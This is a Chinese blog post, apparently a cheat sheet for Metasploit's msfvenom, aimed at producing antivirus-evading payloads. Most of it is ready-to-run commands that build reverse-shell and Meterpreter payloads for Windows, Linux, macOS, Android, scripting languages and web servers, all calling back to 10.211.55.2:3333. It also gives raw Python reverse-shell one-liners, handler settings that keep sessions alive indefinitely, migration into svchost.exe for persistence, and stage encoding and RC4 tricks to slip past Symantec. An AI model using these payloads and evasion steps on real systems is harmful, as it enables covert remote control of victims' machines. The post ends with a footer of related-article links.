msf是什么?百度一下你就知道

常规参数

-p / -payload          指定payload 支持自定义payload

-l / -list                    指出攻击模块(payloads、encoders、nops、all)的可用资源

-n / nopsled            为payload预设一个NOP滑动长度

//NOP指令,也称作“空指令”,在x86的CPU中机器码为0x90(144)。NOP不执行操作,但占一个程序步

-f / -format               指定输出格式(使用 –help-formats 来获取msf支持的输出格式列表)

-e / –encoder          指定编码器encoder //上一篇讲过encode是一个免杀的好办法

-a / -arch                 指定target的架构 (x86|x64|x86_64)

-platform                  指定payload目标平台

-s / -space                设定有效攻击荷载长度(文件大小)

-b, –bad-chars          设定规避字符集,指定需要过滤的坏字符例如:不使用 '\x0f'、'\x00';

-i, –iterations             指定payload的编码次数

-c, –add-code            指定一个附加的win32 shellcode文件

-x, –template             指定一个自定义的可执行文件作为模板,并将payload嵌入其中

-k, –keep                   保护模板程序的动作,注入的payload作为一个新的进程运行

–payload-options       列举payload的标准选项

–shellest                    最小化生成payload

比如想查看windows/meterpreter/reverse_tcp支持什么平台、哪些选项,可以使用msfvenom -p windows/meterpreter/reverse_tcp --list-options

可以看到评级最高的两个encoder为cmd/powershell_base64x86/shikata_ga_nai,其中x86/shikata_ga_nai也是免杀中使用频率最高的一个编码器了。

类似可用msfvenom --list命令查看的还有payloads, encoders, nops, platforms, archs, encrypt, formats

几个重要的监听参数

防止假session

在实战中,经常会遇到假session或者刚连接就断开的情况,这里补充一些监听参数,防止假死与假session。

  • msf exploit(multi/handler) > set ExitOnSession false   //可以在接收到seesion后继续监听端口,保持侦听

防止session意外退出

msf5 exploit(multi/handler) > set SessionCommunicationTimeout 0  //默认情况下,如果一个会话将在5分钟(300秒)没有任何活动,那么它会被杀死,为防止此情况可将此项修改为0
msf5 exploit(multi/handler) > set SessionExpirationTimeout 0 //默认情况下,一个星期(604800秒)后,会话将被强制关闭,修改为0可永久不会被关闭

handler后台持续监听

msf exploit(multi/handler) > exploit -j -z

使用exploit -j -z可在后台持续监听,-j为后台任务,-z为持续监听,使用Jobs命令查看和管理后台任务。jobs -K可结束所有任务。

还有种比较快捷的建立监听的方式,在msf下直接执行:

msf5 > handler -H 10.211.55.2 -P 3333 -p windows/meterpreter/reverse_tcp

会生成监听

payload的可持续化

一般来说使用msfvenom生成的payload会单独开启一个进程,这种进程很容易被发现和关闭,在后期想做持久化的时候只能再使用migrate进行。

其实在生成payload时可直接使用如下命令,生成的payload会直接注入到指定进程中。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -e x86/shikata_ga_nai -b "\x00" -i 5 -a x86 --platform win PrependMigrate=true PrependMigrateProc=svchost.exe -f exe -o  shell.exe

生成的shell程序执行后会启动两个进程shell.exesvchost.exe,关闭其中一个不会影响会话状态。唯一美中不足的是svchost.exe不是system32目录下的。

在上面的生成payload参数中:

(1)PrependMigrate=true PrependMigrateProc=svchost.exe 使这个程序默认会迁移到svchost.exe进程,自己测试的时候不建议到这个进程而是其他的持久进程。

(2)使用-p指定使用的攻击载荷模块,使用-e指定使用x86/shikata_ga_nai编码器,使用-f选项告诉MSF编码器输出格式为exe,-o选项指定输出的文件名为payload.exe,保存在根目录下。

绕过杀软

这是green-m大佬提到的一种方式,使用reverse_https等payload时可以使用下列方法bypass部分杀软。

生成payload:msfvenom -p windows/meterpreter/reverse_https lhost=10.211.55.2 lport=3333 -f c

在msf中进行如下设置,将控制端向被控制端发送的stage进行编码

msf exploit(multi/handler) > set EnableStageEncoding true   //尝试使用不同的编码器对stage进行编码,可能绕过部分杀软的查杀EnableStageEncoding => truemsf exploit(multi/handler) > set stageencoder x86/fnstenv_movStageencoder => x64/xormsf exploit(multi/handler) > set stageencodingfallback falsestageencodingfallback => false

同样,使用reverse_tcp_rc4也有同样的效果,而且不能设置stageencoder选项,更稳定更方便。

msfvenom -p  windows/meterpreter/reverse_tcp_rc4  lhost=10.211.55.2 lport=3333 RC4PASSWORD=tidesec  -f c

利用rc4对传输的数据进行加密,密钥在生成时指定,在监听的服务端设置相同的密钥。就可以在symantec眼皮下执行meterpreter。

各平台payload生成

二进制

windows​​​​​​​

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform Windows -f exe > shell.exe
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f exe > shell.exe

windows下生成32位/64位payload时需要注意:以windows/meterpreter/reverse_tcp为例,该payload默认为32位,也可使用-a x86选项指定。如果要生成64位,则payload为windows/x64/meterpreter/reverse_tcp。

Linux

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform Linux -f elf > shell.elf

Mac

msfvenom -p osx/x86/shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform osx -f macho > shell.macho

Android​​​​​​​

msfvenom -a dalvik -p android/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f raw > shell.apk
msfvenom -p android/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 R > test.apk

Powershell

msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -e cmd/powershell_base64 -i 3 -f raw -o shell.ps1

Netcat

nc正向连接

msfvenom -p windows/shell_hidden_bind_tcp LHOST=10.211.55.2 LPORT=3333  -f exe> 1.exe

nc反向连接,监听

msfvenom -p windows/shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333  -f exe> 1.exe

Shellcode

基于Linux的Shellcode

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform Windows -f c

基于Windows的Shellcode

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform Linux -f c

基于Mac的Shellcode

msfvenom -p osx/x86/shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform osx -f c

脚本

Python反弹shell​​​​​​​

msfvenom -p cmd/unix/reverse_python LHOST=10.211.55.2 LPORT=3333 -f raw > shell.py
msfvenom -a python -p python/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f raw > shell.py

Python正向shell​​​​​​​

python/python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.211.55.2",3333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
python/python3 -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(("10.211.55.2",3333))\nwhile 1:  proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"

Bash

msfvenom -p cmd/unix/reverse_bash LHOST=10.211.55.2 LPORT=3333 -f raw > shell.sh

Perl

msfvenom -p cmd/unix/reverse_perl LHOST=10.211.55.2 LPORT=3333 -f raw > shell.pl

Lua

msfvenom -p cmd/unix/reverse_lua LHOST=10.211.55.2 LPORT=3333 -f raw -o shell.lua

Ruby

msfvenom -p ruby/shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f raw -o shell.rb

Web

PHP​​​​​​​

msfvenom -p php/meterpreter_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f raw > shell.phpcat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php

ASPX

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f aspx -o shell.aspx

ASP

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f asp > shell.asp

JSP

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f raw > shell.jsp

WAR

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f war > shell.war

nodejs​​​​​​​

msfvenom -p nodejs/shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f raw -o shell.js

Handlers​​​​​​​

use exploit/multi/handlerset PAYLOAD <Payload name>set LHOST 10.211.55.2set LPORT 3333set ExitOnSession falseexploit -j -z

msfvenom命令自动补全

msfvenom参数和命令很多,各种payload和encoder经常让人眼花缭乱,特别是对英语不好的人来说有些命令可能很容易忘记。所以Green_m大佬写了一个zsh插件,可以自动化的补全msfvenom命令,有了它妈妈再也不用担心我会忘记msfvenom命令了!

先看看安装后的效果:

安装如下:​​​​​​​

安装前提:已经安装了zsh。
# 下载msfvenom plugin.git clone https://github.com/Green-m/msfvenom-zsh-completion ~/.oh-my-zsh/custom/plugins/msfvenom/
# 打开 ~/.zshrc 文件,启用插件plugins=(...  msfvenom)
# 在当前shell中导入.zshrc文件中的设置source ~/.zshrc

之后可正常使用。

参考资料

msfvenom 进阶:https://klionsec.github.io/2017/03/08/msfvenom-advanced/

How to use msfvenom:https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom

msfvenom 使用方法简单介绍:http://www.onebug.org/testing/161.html

Bypass AV meterpreter免杀技巧:https://green-m.me/2016/11/15/meterpreter-bypass-av/

免杀的N种姿势-msf篇相关推荐

  1. 免杀的N种姿势-基础篇

    免杀概念 免杀,也就是反病毒(AntiVirus)与反间谍(AntiSpyware)的对立面,英文为Anti-AntiVirus(简写Virus AV),逐字翻译为"反-反病毒", ...

  2. 渗透测试-木马免杀的几种方式

    木马免杀的几种方式 文章目录 木马免杀的几种方式 前言 1.裸奔马的尝试 2.部署一下kali上的apache服务,令目标机器能够访问下载我们生成的木马 2.1.kali中是自带有apache的,启动 ...

  3. 免杀方法(三)msf加载器免杀

    metasploit是一款开源的安全漏洞检测工具,同时Metasploit是免费的工具, 因此安全工作人员常用Metasploit工具来检测系统的安全性.Metasploit Framework(MS ...

  4. 红队培训班作业 | 五种免杀bypass火绒360姿势横向测评:哪款更适合你?

    文章来源|MS08067 红队培训班第12节课作业 本文作者:某学员A(红队培训班1期学员) 按老师要求尝试完成布置的作业如下: 一.远程线程注入 (一)通过MSF生成payload 通过msfven ...

  5. 远控免杀从入门到实践(6)-代码篇-Powershell

    郑重声明:文中所涉及的技术.思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!  <远控免杀从入门到实践>系列文章目录: 1.远控免杀从 ...

  6. 从后渗透分析应急响应的那些事儿(二)免杀初识篇

    从后渗透分析应急响应的那些事儿(二)免杀初识篇 文章首发于freebuf Tidesec专栏 https://www.freebuf.com/column/204005.html,转载到个人博客记录, ...

  7. 远控免杀专题文章(3)-msf自免杀(VT免杀率35/69)

    原文链接:远控免杀专题文章(3)-msf自免杀(VT免杀率35/69) 免杀能力一览表 几点说明: 1.上面表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass. 2.为了更好的对比效 ...

  8. 远控免杀专题文章(1)-基础篇

    脉搏文库 TideSec [](javascript:void(0)) 2020-02-20 6,218 *前**言* 一直是从事web安全多一些,对waf绕过还稍微有些研究,但是对远控免杀的认知还大 ...

  9. Web渗透之MSF框架——msfvenom与免杀木马制作

    文章目录 生成常见的反向连接木马 反向连接的优势: Windows: Linux: MAC: PHP: Asp: Aspx: msfvenom参数介绍 生成免杀木马 360免杀木马 腾讯管家免杀木马 ...

最新文章

  1. 程序员天花板:产后半年加薪升职,这位程序员妈妈绝了!
  2. 获取返回值作为变量_解决多线程间共享变量线程安全问题的大杀器——ThreadLocal...
  3. changePage() 页面跳转
  4. nova5i有鸿蒙系统吗,华为nova 5i怎么样?值得入手么?
  5. 英文的写作 —— 词汇的积累(环境的描写、写人)
  6. Flink 1.11 新特性之 SQL Hive Streaming 简单示例
  7. 小巧票据打印软件免费下载
  8. dsp正弦波信号发生器c语言编程实例,应用DSP技术的正弦波发生器方案之程序设计...
  9. 怎么建立局域网_用ZeroTier搭建属于自己的虚拟局域网(VLAN)
  10. 手机计算机里面的符号代表什么意思,计算器上的符号各代表什么意思?
  11. 亚马逊qa是什么意思_“亚马逊成就”是什么意思?
  12. “浅尝”JavaScript设计模式
  13. [App] FTP 命令全集
  14. Semi-supervised semantic segmentation needs strong, varied perturbations
  15. 水滴筹 2021秋招 后台开发
  16. 为什么SHL和SAL相同
  17. 2016银行卡BIN
  18. 计算机主机时间不保存,电脑主机不能保存时间怎么办?
  19. ST与*ST股票的财务状况条件
  20. 对于本专业的看法和认识

热门文章

  1. 【jquery】删除节点 添加节点 找兄弟节点
  2. 使用TCPDF插件生成pdf以及pdf的中文处理
  3. Knald - 1.2.1 烘培贴图,利用贴图转换成其他贴图   笔记
  4. jquery给日期赋值_用js为Jquery datepicker日期控件赋值
  5. HTML给表单元素赋值,JQuery表单元素取值赋值方法总结
  6. Linux-2.6 所有版本内核源码下载
  7. Azure学习笔记2.——六种虚拟网络连接
  8. Manjaro安装有道词典,启动报错解决
  9. Xcode rrSecInternalComponent Command CodeSign failed with a nonzero exit code
  10. Linux TC 带宽管理队列规则